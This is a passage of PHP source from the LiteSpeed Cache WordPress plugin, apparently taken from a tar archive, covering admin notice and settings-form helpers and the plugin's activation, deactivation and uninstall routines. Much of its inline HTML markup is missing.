      '; } /** * Display info notice. * * @since 1.6.5 * * @param string|array $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function info( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_BLUE, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display note (warning) notice. * * @since 1.6.5 * * @param string|array $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function note( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_YELLOW, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display success notice. * * @since 1.6 * * @param string|array $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function success( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_GREEN, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Deprecated alias for success(). * * @deprecated 4.7 Will drop in v7.5. Use success(). * * @param string|array $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function succeed( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::success( $msg, $do_echo, $irremovable, $additional_classes ); } /** * Display error notice. * * @since 1.6 * * @param string|array $msg Message or list of messages. * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra CSS classes. * @return void */ public static function error( $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { self::add_notice( self::NOTICE_RED, $msg, $do_echo, $irremovable, $additional_classes ); } /** * Add unique (irremovable optional) messages. * * @since 4.7 * * @param string $color_mode One of info|note|success|error. * @param string|array $msgs Message(s). * @param bool $irremovable If true, cannot be dismissed. * @return void */ public static function add_unique_notice( $color_mode, $msgs, $irremovable = false ) { if ( ! is_array( $msgs ) ) { $msgs = [ $msgs ]; } $color_map = [ 'info' => self::NOTICE_BLUE, 'note' => self::NOTICE_YELLOW, 'success' => self::NOTICE_GREEN, 'error' => self::NOTICE_RED, ]; if ( empty( $color_map[ $color_mode ] ) ) { self::debug( 'Wrong admin display color mode!' ); return; } $color = $color_map[ $color_mode ]; // Go through to make sure unique. $filtered_msgs = []; foreach ( $msgs as $k => $str ) { if ( is_numeric( $k ) ) { $k = md5( $str ); } // Use key to make it overwritable to previous same msg. $filtered_msgs[ $k ] = $str; } self::add_notice( $color, $filtered_msgs, false, $irremovable ); } /** * Add a notice to display on the admin page (store or echo). * * @since 1.0.7 * * @param string $color Notice color CSS class. * @param string|array $msg Message(s). * @param bool $do_echo Echo immediately instead of storing. * @param bool $irremovable If true, cannot be dismissed. * @param string $additional_classes Extra classes for wrapper. * @return void */ public static function add_notice( $color, $msg, $do_echo = false, $irremovable = false, $additional_classes = '' ) { // Bypass adding for CLI or cron if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { // WP CLI will show the info directly if ( defined( 'WP_CLI' ) && constant('WP_CLI') ) { if ( ! is_array( $msg ) ) { $msg = [ $msg ]; } foreach ( $msg as $v ) { $v = wp_strip_all_tags( $v ); if ( self::NOTICE_RED === $color ) { \WP_CLI::error( $v, false ); } else { \WP_CLI::success( $v ); } } } return; } if ( $do_echo ) { echo self::build_notice( $color, $msg, $irremovable, $additional_classes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped return; } $msg_name = $irremovable ? self::DB_MSG_PIN : self::DB_MSG; $messages = self::get_option( $msg_name, [] ); if ( ! is_array( $messages ) ) { $messages = []; } if ( is_array( $msg ) ) { foreach ( $msg as $k => $str ) { $messages[ $k ] = self::build_notice( $color, $str, $irremovable, $additional_classes ); } } else { $messages[] = self::build_notice( $color, $msg, $irremovable, $additional_classes ); } $messages = array_unique( $messages ); self::update_option( $msg_name, $messages ); } /** * Display notices and errors in dashboard. * * @since 1.1.0 * @return void */ public function display_messages() { if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { $this->_in_upgrading(); } if ( GUI::has_whm_msg() ) { $this->show_display_installed(); } Data::cls()->check_upgrading_msg(); // If is in dev version, always check latest update Cloud::cls()->check_dev_version(); // One time msg $messages = self::get_option( self::DB_MSG, [] ); $added_thickbox = false; if ( is_array( $messages ) ) { foreach ( $messages as $msg ) { // Added for popup links if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) { add_thickbox(); $added_thickbox = true; } echo wp_kses_post( $msg ); } } if ( -1 !== $messages ) { self::update_option( self::DB_MSG, -1 ); } // Pinned msg $messages = self::get_option( self::DB_MSG_PIN, [] ); if ( is_array( $messages ) ) { foreach ( $messages as $k => $msg ) { // Added for popup links if ( strpos( $msg, 'TB_iframe' ) && ! $added_thickbox ) { add_thickbox(); $added_thickbox = true; } // Append close btn if ( '' === substr( $msg, -6 ) ) { $link = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PIN, false, null, [ 'msgid' => $k ] ); $msg = substr( $msg, 0, -6 ) . '

      ' . esc_html__( 'Dismiss', 'litespeed-cache' ) . '' . '

      '; } echo wp_kses_post( $msg ); } } if ( empty( $_GET['page'] ) || 0 !== strpos( sanitize_text_field( wp_unslash( $_GET['page'] ) ), 'litespeed' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended global $pagenow; if ( 'plugins.php' !== $pagenow ) { return; } } if ( ! $this->conf( self::O_NEWS ) ) { return; } // Show promo from cloud Cloud::cls()->show_promo(); /** * Check promo msg first * * @since 2.9 */ GUI::cls()->show_promo(); // Show version news Cloud::cls()->news(); } /** * Dismiss pinned msg. * * @since 3.5.2 * @return void */ public static function dismiss_pin() { if ( ! isset( $_GET['msgid'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } $messages = self::get_option( self::DB_MSG_PIN, [] ); $msgid = sanitize_text_field( wp_unslash( $_GET['msgid'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! is_array( $messages ) || empty( $messages[ $msgid ] ) ) { return; } unset( $messages[ $msgid ] ); if ( ! $messages ) { $messages = -1; } self::update_option( self::DB_MSG_PIN, $messages ); } /** * Dismiss pinned msg by msg content. * * @since 7.0 * * @param string $content Message content. * @param string $color Color CSS class. * @param bool $irremovable Is irremovable. * @return void */ public static function dismiss_pin_by_content( $content, $color, $irremovable ) { $content = self::build_notice( $color, $content, $irremovable ); $messages = self::get_option( self::DB_MSG_PIN, [] ); $hit = false; if ( -1 !== $messages ) { foreach ( $messages as $k => $v ) { if ( $v === $content ) { unset( $messages[ $k ] ); $hit = true; self::debug( '✅ pinned msg content hit. Removed' ); break; } } } if ( $hit ) { if ( ! $messages ) { $messages = -1; } self::update_option( self::DB_MSG_PIN, $messages ); } else { self::debug( '❌ No pinned msg content hit' ); } } /** * Hooked to the in_widget_form action. * Appends LiteSpeed Cache settings to the widget edit settings screen. * This will append the esi on/off selector and ttl text. * * @since 1.1.0 * * @param \WP_Widget $widget The widget instance (passed by reference). * @param mixed $return_val Return param (unused). * @param array $instance The widget instance's settings. * @return void */ public function show_widget_edit( $widget, $return_val, $instance ) { require LSCWP_DIR . 'tpl/esi_widget_edit.php'; } /** * Outputs a notice when the plugin is installed via WHM. * * @since 1.0.12 * @return void */ public function show_display_installed() { require_once LSCWP_DIR . 'tpl/inc/show_display_installed.php'; } /** * Display error cookie msg. * * @since 1.0.12 * @return void */ public static function show_error_cookie() { require_once LSCWP_DIR . 'tpl/inc/show_error_cookie.php'; } /** * Display warning if lscache is disabled. * * @since 2.1 * @return void */ public function cache_disabled_warning() { include LSCWP_DIR . 'tpl/inc/check_cache_disabled.php'; } /** * Display conf data upgrading banner. * * @since 2.1 * @access private * @return void */ private function _in_upgrading() { include LSCWP_DIR . 'tpl/inc/in_upgrading.php'; } /** * Output LiteSpeed form open tag and hidden fields. * * @since 3.0 * * @param string|false $action Router action. * @param string|false $type Router type. * @param bool $has_upload Whether form has file uploads. * @return void */ public function form_action( $action = false, $type = false, $has_upload = false ) { if ( ! $action ) { $action = Router::ACTION_SAVE_SETTINGS; } if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { echo '
      '; } else { $current = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; if ( $has_upload ) { echo '
      '; } else { echo ''; } } echo ''; if ( $type ) { echo ''; } wp_nonce_field( $action, Router::NONCE ); } /** * Output LiteSpeed form end (submit + closing tags). * * @since 3.0 * * @return void */ public function form_end() { echo "
      "; if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { submit_button( __( 'Save Changes', 'litespeed-cache' ), 'secondary litespeed-duplicate-float', 'litespeed-submit', true, [ 'disabled' => 'disabled' ] ); echo '
      '; } else { submit_button( __( 'Save Changes', 'litespeed-cache' ), 'primary litespeed-duplicate-float', 'litespeed-submit', true, [ 'id' => 'litespeed-submit-' . $this->_btn_i++, ] ); echo ''; } } /** * Register a setting for saving. * * @since 3.0 * * @param string $id Setting ID. * @return void */ public function enroll( $id ) { echo ''; } /** * Build a textarea input. * * @since 1.1.0 * * @param string $id Setting ID. * @param int|false $cols Columns count. * @param string|nil $val Pre-set value. * @return void */ public function build_textarea( $id, $cols = false, $val = null ) { if ( null === $val ) { $val = $this->conf( $id, true ); if ( is_array( $val ) ) { $val = implode( "\n", $val ); } } if ( ! $cols ) { $cols = 80; } $rows = $this->get_textarea_rows( $val ); $this->enroll( $id ); echo "'; $this->_check_overwritten( $id ); } /** * Calculate textarea rows. * * @since 7.4 * * @param string $val Text area value. * @return int Number of rows to use. */ public function get_textarea_rows( $val ) { $rows = 5; $lines = substr_count( (string) $val, "\n" ) + 2; if ( $lines > $rows ) { $rows = $lines; } if ( $rows > 40 ) { $rows = 40; } return $rows; } /** * Build a text input field. * * @since 1.1.0 * * @param string $id Setting ID. * @param string|null $cls CSS class. * @param string|null $val Value. * @param string $type Input type. * @param bool $disabled Whether disabled. * @return void */ public function build_input( $id, $cls = null, $val = null, $type = 'text', $disabled = false ) { if ( null === $val ) { $val = $this->conf( $id, true ); // Mask passwords. if ( $this->_conf_pswd( $id ) && $val ) { $val = str_repeat( '*', strlen( $val ) ); } } $label_id = preg_replace( '/\W/', '', $id ); if ( 'text' === $type ) { $cls = "regular-text $cls"; } if ( $disabled ) { echo " "; } else { $this->enroll( $id ); echo " "; } $this->_check_overwritten( $id ); } /** * Build a checkbox HTML snippet. * * @since 1.1.0 * * @param string $id Setting ID. * @param string $title Checkbox label (HTML allowed). * @param bool|null $checked Whether checked. * @param int|string $value Checkbox value. * @return void */ public function build_checkbox( $id, $title, $checked = null, $value = 1 ) { if ( null === $checked && $this->conf( $id, true ) ) { $checked = true; } $label_id = preg_replace( '/\W/', '', $id ); if ( 1 !== $value ) { $label_id .= '_' . $value; } $this->enroll( $id ); echo "
      '; $this->_check_overwritten( $id ); } /** * Build a toggle checkbox snippet. * * @since 1.7 * * @param string $id Setting ID. * @param bool|null $checked Whether enabled. * @param string|null $title_on Label when on. * @param string|null $title_off Label when off. * @return void */ public function build_toggle( $id, $checked = null, $title_on = null, $title_off = null ) { if ( null === $checked && $this->conf( $id, true ) ) { $checked = true; } if ( null === $title_on ) { $title_on = __( 'ON', 'litespeed-cache' ); $title_off = __( 'OFF', 'litespeed-cache' ); } $cls = $checked ? 'primary' : 'default litespeed-toggleoff'; echo "
      "; } /** * Build a switch (radio) field. * * @since 1.1.0 * @since 1.7 Removed $disable param. * * @param string $id Setting ID. * @param array|false $title_list Labels for options (OFF/ON). * @return void */ public function build_switch( $id, $title_list = false ) { $this->enroll( $id ); echo '
      '; if ( ! $title_list ) { $title_list = [ __( 'OFF', 'litespeed-cache' ), __( 'ON', 'litespeed-cache' ) ]; } foreach ( $title_list as $k => $v ) { $this->_build_radio( $id, $k, $v ); } echo '
      '; $this->_check_overwritten( $id ); } /** * Build a radio input and echo it. * * @since 1.1.0 * @access private * * @param string $id Setting ID. * @param int|string $val Value for the radio. * @param string $txt Label HTML. * @return void */ private function _build_radio( $id, $val, $txt ) { $id_attr = 'input_radio_' . preg_replace( '/\W/', '', $id ) . '_' . $val; $default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; $is_checked = ! is_string( $default ) ? ( (int) $this->conf( $id, true ) === (int) $val ) : ( $this->conf( $id, true ) === $val ); echo " '; } /** * Show overwritten info if value comes from const/primary/filter/server. * * @since 3.0 * @since 7.4 Show value from filters. Added type parameter. * * @param string $id Setting ID. * @return void */ protected function _check_overwritten( $id ) { $const_val = $this->const_overwritten( $id ); $primary_val = $this->primary_overwritten( $id ); $deprecated_filter_val = $this->deprecated_filter_overwritten( $id ); $filter_val = $this->filter_overwritten( $id ); $server_val = $this->server_overwritten( $id ); if ( null === $const_val && null === $primary_val && null === $deprecated_filter_val && null === $filter_val && null === $server_val ) { return; } // Get value to display. $val = null !== $const_val ? $const_val : $primary_val; // If we have deprecated_filter_val will set as new val. if ( null !== $deprecated_filter_val ) { $val = $deprecated_filter_val; } // If we have filter_val will set as new val. if ( null !== $filter_val ) { $val = $filter_val; } // If we have server_val will set as new val. if ( null !== $server_val ) { $val = $server_val; } // Get type (used for display purpose). $type = ( isset( self::$settings_filters[ $id ] ) && isset( self::$settings_filters[ $id ]['type'] ) ) ? self::$settings_filters[ $id ]['type'] : 'textarea'; if ( ( null !== $const_val || null !== $primary_val || null !== $filter_val ) && null === $deprecated_filter_val ) { $type = 'setting'; } // Get default setting: if settings exist, use default setting, otherwise use filter/server value. $default = ''; if ( isset( self::$_default_options[ $id ] ) || isset( self::$_default_site_options[ $id ] ) ) { $default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ]; } if ( null !== $deprecated_filter_val || null !== $server_val ) { $default = null !== $deprecated_filter_val ? $deprecated_filter_val : $server_val; } // Set value to display, will be a string. if ( is_bool( $default ) ) { $val = $val ? __( 'ON', 'litespeed-cache' ) : __( 'OFF', 'litespeed-cache' ); } else { if ( is_array( $val ) ) { $val = implode( "\n", $val ); } $val = esc_textarea( $val ); } // Show warning for all types except textarea. if ( 'textarea' !== $type ) { echo '
      ⚠️ '; if ( null !== $server_val ) { // Show $_SERVER value. printf( esc_html__( 'This value is overwritten by the %s variable.', 'litespeed-cache' ), '$_SERVER' ); $val = '$_SERVER["' . $server_val[0] . '"] = ' . $server_val[1]; } elseif ( null !== $deprecated_filter_val ) { // Show filter value. echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' ); } elseif ( null !== $const_val ) { // Show CONSTANT value. printf( esc_html__( 'This value is overwritten by the PHP constant %s.', 'litespeed-cache' ), '' . esc_html( Base::conf_const( $id ) ) . '' ); } elseif ( is_multisite() ) { // Show multisite overwrite. if ( get_current_blog_id() !== BLOG_ID_CURRENT_SITE && $this->conf( self::NETWORK_O_USE_PRIMARY ) ) { echo esc_html__( 'This value is overwritten by the primary site setting.', 'litespeed-cache' ); } else { echo esc_html__( 'This value is overwritten by the Network setting.', 'litespeed-cache' ); } } elseif ( null !== $filter_val ) { // Show filter value. echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' ); } echo ' ' . sprintf( esc_html__( 'Currently set to %s', 'litespeed-cache' ), '' . esc_html( $val ) . '' ) . '
      '; } elseif ( 'textarea' === $type && null !== $deprecated_filter_val ) { // Show warning for textarea. // Textarea sizes. $cols = 30; $rows = $this->get_textarea_rows( $val ); $rows_current_val = $this->get_textarea_rows( implode( "\n", $this->conf( $id, true ) ) ); // If filter rows is bigger than textarea size, equalize them. if ( $rows > $rows_current_val ) { $rows = $rows_current_val; } ?>
      :
      '; } /** * Display default value for a setting. * * @since 1.1.1 * * @param string $id Setting ID. * @return void */ public function recommended( $id ) { if ( ! $this->default_settings ) { $this->default_settings = $this->load_default_vals(); } $val = $this->default_settings[ $id ]; if ( ! $val ) { return; } if ( ! is_array( $val ) ) { printf( '%s: %s', esc_html__( 'Default value', 'litespeed-cache' ), esc_html( $val ) ); return; } $rows = 5; $cols = 30; // Flexible rows/cols. $lines = count( $val ) + 1; $rows = min( max( $lines, $rows ), 40 ); foreach ( $val as $v ) { $cols = max( strlen( $v ), $cols ); } $cols = min( $cols, 150 ); $val = implode( "\n", $val ); printf( '
      %s:
      ', esc_html__( 'Default value', 'litespeed-cache' ), (int) $rows, (int) $cols, esc_textarea( $val ) ); } /** * Validate rewrite rules regex syntax. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_syntax( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( ! is_array( $val ) ) { $val = [ $val ]; } foreach ( $val as $v ) { if ( ! Utility::syntax_checker( $v ) ) { echo '
      ❌ ' . esc_html__( 'Invalid rewrite rule', 'litespeed-cache' ) . ': ' . wp_kses_post( $v ) . ''; } } } /** * Validate if the .htaccess path is valid. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_htaccess_path( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( '/.htaccess' !== substr( $val, -10 ) ) { echo '
      ❌ ' . sprintf( esc_html__( 'Path must end with %s', 'litespeed-cache' ), '/.htaccess' ) . ''; } } /** * Check TTL ranges and show tips. * * @since 3.0 * * @param string $id Setting ID. * @param int|bool $min Minimum value (or false). * @param int|bool $max Maximum value (or false). * @param bool $allow_zero Whether zero is allowed. * @return void */ protected function _validate_ttl( $id, $min = false, $max = false, $allow_zero = false ) { $val = $this->conf( $id, true ); $tip = []; if ( $min && $val < $min && ( ! $allow_zero || 0 !== $val ) ) { $tip[] = esc_html__( 'Minimum value', 'litespeed-cache' ) . ': ' . $min . '.'; } if ( $max && $val > $max ) { $tip[] = esc_html__( 'Maximum value', 'litespeed-cache' ) . ': ' . $max . '.'; } echo '
      '; if ( $tip ) { echo ' ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . ''; } $range = ''; if ( $allow_zero ) { $range .= esc_html__( 'Zero, or', 'litespeed-cache' ) . ' '; } if ( $min && $max ) { $range .= $min . ' - ' . $max; } elseif ( $min ) { $range .= esc_html__( 'Larger than', 'litespeed-cache' ) . ' ' . $min; } elseif ( $max ) { $range .= esc_html__( 'Smaller than', 'litespeed-cache' ) . ' ' . $max; } echo esc_html__( 'Value range', 'litespeed-cache' ) . ': ' . esc_html( $range ) . ''; } /** * Validate IPs in a list. * * @since 3.0 * * @param string $id Setting ID. * @return void */ protected function _validate_ip( $id ) { $val = $this->conf( $id, true ); if ( ! $val ) { return; } if ( ! is_array( $val ) ) { $val = [ $val ]; } $tip = []; foreach ( $val as $v ) { if ( ! $v ) { continue; } if ( ! \WP_Http::is_ip_address( $v ) ) { $tip[] = esc_html__( 'Invalid IP', 'litespeed-cache' ) . ': ' . esc_html( $v ) . '.'; } } if ( $tip ) { echo '
      ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . ''; } } /** * Display API environment variable support. * * @since 1.8.3 * @access protected * * @param string ...$args Server variable names. * @return void */ protected function _api_env_var( ...$args ) { echo ' ' . esc_html__( 'API', 'litespeed-cache' ) . ': ' . sprintf( /* translators: %s: list of server variables in tags */ esc_html__( 'Server variable(s) %s available to override this setting.', 'litespeed-cache' ), '' . implode( ', ', array_map( 'esc_html', $args ) ) . '' ) . ''; Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#limiting-the-crawler' ); } /** * Display URI setting example. * * @since 2.6.1 * @access protected * @return void */ protected function _uri_usage_example() { echo esc_html__( 'The URLs will be compared to the REQUEST_URI server variable.', 'litespeed-cache' ); /* translators: 1: example URL, 2: pattern example */ echo ' ' . sprintf( esc_html__( 'For example, for %1$s, %2$s can be used here.', 'litespeed-cache' ), '/mypath/mypage?aa=bb', 'mypage?aa=' ); echo '
      '; /* translators: %s: caret symbol */ printf( esc_html__( 'To match the beginning, add %s to the beginning of the item.', 'litespeed-cache' ), '^' ); /* translators: %s: dollar symbol */ echo ' ' . sprintf( esc_html__( 'To do an exact match, add %s to the end of the URL.', 'litespeed-cache' ), '$' ); echo ' ' . esc_html__( 'One per line.', 'litespeed-cache' ); echo ''; } /** * Return pluralized strings. * * @since 2.0 * * @param int $num Number. * @param string $kind Kind of item (group|image). * @return string */ public static function print_plural( $num, $kind = 'group' ) { if ( $num > 1 ) { switch ( $kind ) { case 'group': return sprintf( esc_html__( '%s groups', 'litespeed-cache' ), $num ); case 'image': return sprintf( esc_html__( '%s images', 'litespeed-cache' ), $num ); default: return $num; } } switch ( $kind ) { case 'group': return sprintf( esc_html__( '%s group', 'litespeed-cache' ), $num ); case 'image': return sprintf( esc_html__( '%s image', 'litespeed-cache' ), $num ); default: return $num; } } /** * Return guidance HTML. * * @since 2.0 * * @param string $title Title HTML. * @param array $steps Steps list (HTML allowed). * @param int|string $current_step Current step number or 'done'. * @return string HTML for guidance widget. */ public static function guidance( $title, $steps, $current_step ) { if ( 'done' === $current_step ) { $current_step = count( $steps ) + 1; } $percentage = ' (' . floor( ( ( $current_step - 1 ) * 100 ) / count( $steps ) ) . '%)'; $html = '

      ' . $title . $percentage . '

        '; foreach ( $steps as $k => $v ) { $step = $k + 1; if ( $current_step > $step ) { $html .= '
      1. '; } else { $html .= '
      2. '; } $html .= $v . '
      3. '; } $html .= '
      '; return $html; } /** * Check whether has QC hide banner cookie. * * @since 7.1 * * @return bool */ public static function has_qc_hide_banner() { return isset( $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) && ( time() - (int) $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) < 86400 * 90; } /** * Set QC hide banner cookie. * * @since 7.1 * @return void */ public static function set_qc_hide_banner() { $expire = time() + 86400 * 365; self::debug( 'Set qc hide banner cookie' ); setcookie( self::COOKIE_QC_HIDE_BANNER, time(), $expire, COOKIEPATH, COOKIE_DOMAIN ); } /** * Handle all request actions from main cls. * * @since 7.1 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_QC_HIDE_BANNER: self::set_qc_hide_banner(); break; default: break; } Admin::redirect(); } } activation.cls.php000064400000042473152077520260010216 0ustar00 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Activation * * Handles plugin activation, deactivation, and related file management. * * @since 1.1.0 */ class Activation extends Base { const TYPE_UPGRADE = 'upgrade'; const TYPE_INSTALL_3RD = 'install_3rd'; const TYPE_INSTALL_ZIP = 'install_zip'; const TYPE_DISMISS_RECOMMENDED = 'dismiss_recommended'; const NETWORK_TRANSIENT_COUNT = 'lscwp_network_count'; /** * Data file path for configuration. * * @since 4.1 * @var string */ private static $data_file; /** * Construct * * Initializes the data file path. * * @since 4.1 */ public function __construct() { self::$data_file = LSCWP_CONTENT_DIR . '/' . self::CONF_FILE; } /** * The activation hook callback. * * Handles plugin activation tasks, including file creation and multisite setup. * * @since 1.0.0 * @access public */ public static function register_activation() { $count = 0; ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Activate_' . get_current_blog_id() ); /* Network file handler */ if ( is_multisite() ) { $count = self::get_network_count(); if ( false !== $count ) { $count = (int) $count + 1; set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS ); } if ( ! is_network_admin() ) { if ( 1 === $count ) { // Only itself is activated, set .htaccess with only CacheLookUp try { Htaccess::cls()->insert_ls_wrapper(); } catch ( \Exception $ex ) { Admin_Display::error( $ex->getMessage() ); } } } } self::cls()->update_files(); if ( defined( 'LSCWP_REF' ) && 'whm' === LSCWP_REF ) { GUI::update_option( GUI::WHM_MSG, GUI::WHM_MSG_VAL ); } } /** * Uninstall plugin * * Removes all LiteSpeed Cache settings and data. * * @since 1.1.0 * @since 7.3 Updated to remove all settings. * @access public */ public static function uninstall_litespeed_cache() { Task::destroy(); if ( is_multisite() ) { // Save main site id $current_blog = get_current_blog_id(); // get all sites $sub_sites = get_sites(); // clear foreach site foreach ( $sub_sites as $sub_site ) { $sub_blog_id = (int) $sub_site->blog_id; if ( $sub_blog_id !== $current_blog ) { // Switch to blog switch_to_blog( $sub_blog_id ); // Delete site options self::delete_settings(); // Delete site tables Data::cls()->tables_del(); } } // Return to main site switch_to_blog( $current_blog ); } // Delete current blog/site // Delete options self::delete_settings(); // Delete site tables Data::cls()->tables_del(); if ( file_exists( LITESPEED_STATIC_DIR ) ) { File::rrmdir( LITESPEED_STATIC_DIR ); } Cloud::version_check( 'uninstall' ); } /** * Remove all litespeed settings. * * Deletes all LiteSpeed Cache options from the database. * * @since 7.3 * @access private */ private static function delete_settings() { global $wpdb; // phpcs:ignore WordPress.DB.DirectDatabaseQuery $wpdb->query($wpdb->prepare("DELETE FROM `$wpdb->options` WHERE option_name LIKE %s", 'litespeed.%')); } /** * Get the blog ids for the network. Accepts function arguments. * * @since 1.0.12 * @access public * @param array $args Arguments for get_sites(). * @return array The array of blog ids. */ public static function get_network_ids( $args = [] ) { $args['fields'] = 'ids'; $blogs = get_sites( $args ); return $blogs; } /** * Gets the count of active litespeed cache plugins on multisite. * * @since 1.0.12 * @access private * @return int|false Number of active LSCWP or false if none. */ private static function get_network_count() { $count = get_site_transient( self::NETWORK_TRANSIENT_COUNT ); if ( false !== $count ) { return (int) $count; } // need to update $default = []; $count = 0; $sites = self::get_network_ids( [ 'deleted' => 0 ] ); if ( empty( $sites ) ) { return false; } foreach ( $sites as $site ) { $bid = is_object( $site ) && property_exists( $site, 'blog_id' ) ? $site->blog_id : $site; $plugins = get_blog_option( $bid, 'active_plugins', $default ); if ( ! empty( $plugins ) && in_array( LSCWP_BASENAME, $plugins, true ) ) { ++$count; } } /** * In case this is called outside the admin page * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . '/wp-admin/includes/plugin.php'; } if ( is_plugin_active_for_network( LSCWP_BASENAME ) ) { ++$count; } return $count; } /** * Is this deactivate call the last active installation on the multisite network? * * @since 1.0.12 * @access private */ private static function is_deactivate_last() { $count = self::get_network_count(); if ( false === $count ) { return false; } if ( 1 !== $count ) { // Not deactivating the last one. --$count; set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS ); return false; } delete_site_transient( self::NETWORK_TRANSIENT_COUNT ); return true; } /** * The deactivation hook callback. * * Initializes all clean up functionalities. * * @since 1.0.0 * @access public */ public static function register_deactivation() { Task::destroy(); ! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Deactivate_' . get_current_blog_id() ); Purge::purge_all(); if ( is_multisite() ) { if ( ! self::is_deactivate_last() ) { if ( is_network_admin() ) { // Still other activated subsite left, set .htaccess with only CacheLookUp try { Htaccess::cls()->insert_ls_wrapper(); } catch ( \Exception $ex ) { Admin_Display::error($ex->getMessage()); } } return; } } /* 1) wp-config.php; */ try { self::cls()->manage_wp_cache_const( false ); } catch ( \Exception $ex ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log( 'In wp-config.php: WP_CACHE could not be set to false during deactivation!' ); Admin_Display::error( $ex->getMessage() ); } /* 2) adv-cache.php; Dropped in v3.0.4 */ /* 3) object-cache.php; */ Object_Cache::cls()->del_file(); /* 4) .htaccess; */ try { Htaccess::cls()->clear_rules(); } catch ( \Exception $ex ) { Admin_Display::error( $ex->getMessage() ); } /* 5) .litespeed_conf.dat; */ self::del_conf_data_file(); /* 6) delete option lscwp_whm_install */ // delete in case it's not deleted prior to deactivation. GUI::dismiss_whm(); } /** * Manage related files based on plugin latest conf * * Handle files: * 1) wp-config.php; * 2) adv-cache.php; * 3) object-cache.php; * 4) .htaccess; * 5) .litespeed_conf.dat; * * @since 3.0 * @access public */ public function update_files() { Debug2::debug( '🗂️ [Activation] update_files' ); // Update cache setting `_CACHE` $this->cls( 'Conf' )->define_cache(); // Site options applied already $options = $this->get_options(); /* 1) wp-config.php; */ try { $this->manage_wp_cache_const( $options[ self::_CACHE ] ); } catch ( \Exception $ex ) { // Add msg to admin page or CLI Admin_Display::error( wp_kses_post( $ex->getMessage() ) ); } /* 2) adv-cache.php; Dropped in v3.0.4 */ /* 3) object-cache.php; */ if ( $options[ self::O_OBJECT ] && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) { $this->cls( 'Object_Cache' )->update_file( $options ); } else { $this->cls( 'Object_Cache' )->del_file(); // Note: because it doesn't reconnect, which caused setting page OC option changes delayed, thus may meet Connect Test Failed issue (Next refresh will correct it). Not a big deal, will keep as is. } /* 4) .htaccess; */ try { $this->cls( 'Htaccess' )->update( $options ); } catch ( \Exception $ex ) { Admin_Display::error( wp_kses_post( $ex->getMessage() ) ); } /* 5) .litespeed_conf.dat; */ if ( ( $options[ self::O_GUEST ] || $options[ self::O_OBJECT ] ) && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) { $this->update_conf_data_file( $options ); } } /** * Delete data conf file * * Removes the .litespeed_conf.dat file. * * @since 4.1 * @access private */ private static function del_conf_data_file() { global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem(); } if ( $wp_filesystem->exists( self::$data_file ) ) { $wp_filesystem->delete( self::$data_file ); } } /** * Update data conf file for guest mode & object cache * * Updates the .litespeed_conf.dat file with relevant settings. * * @since 4.1 * @access private * @param array $options Plugin options. */ private function update_conf_data_file( $options 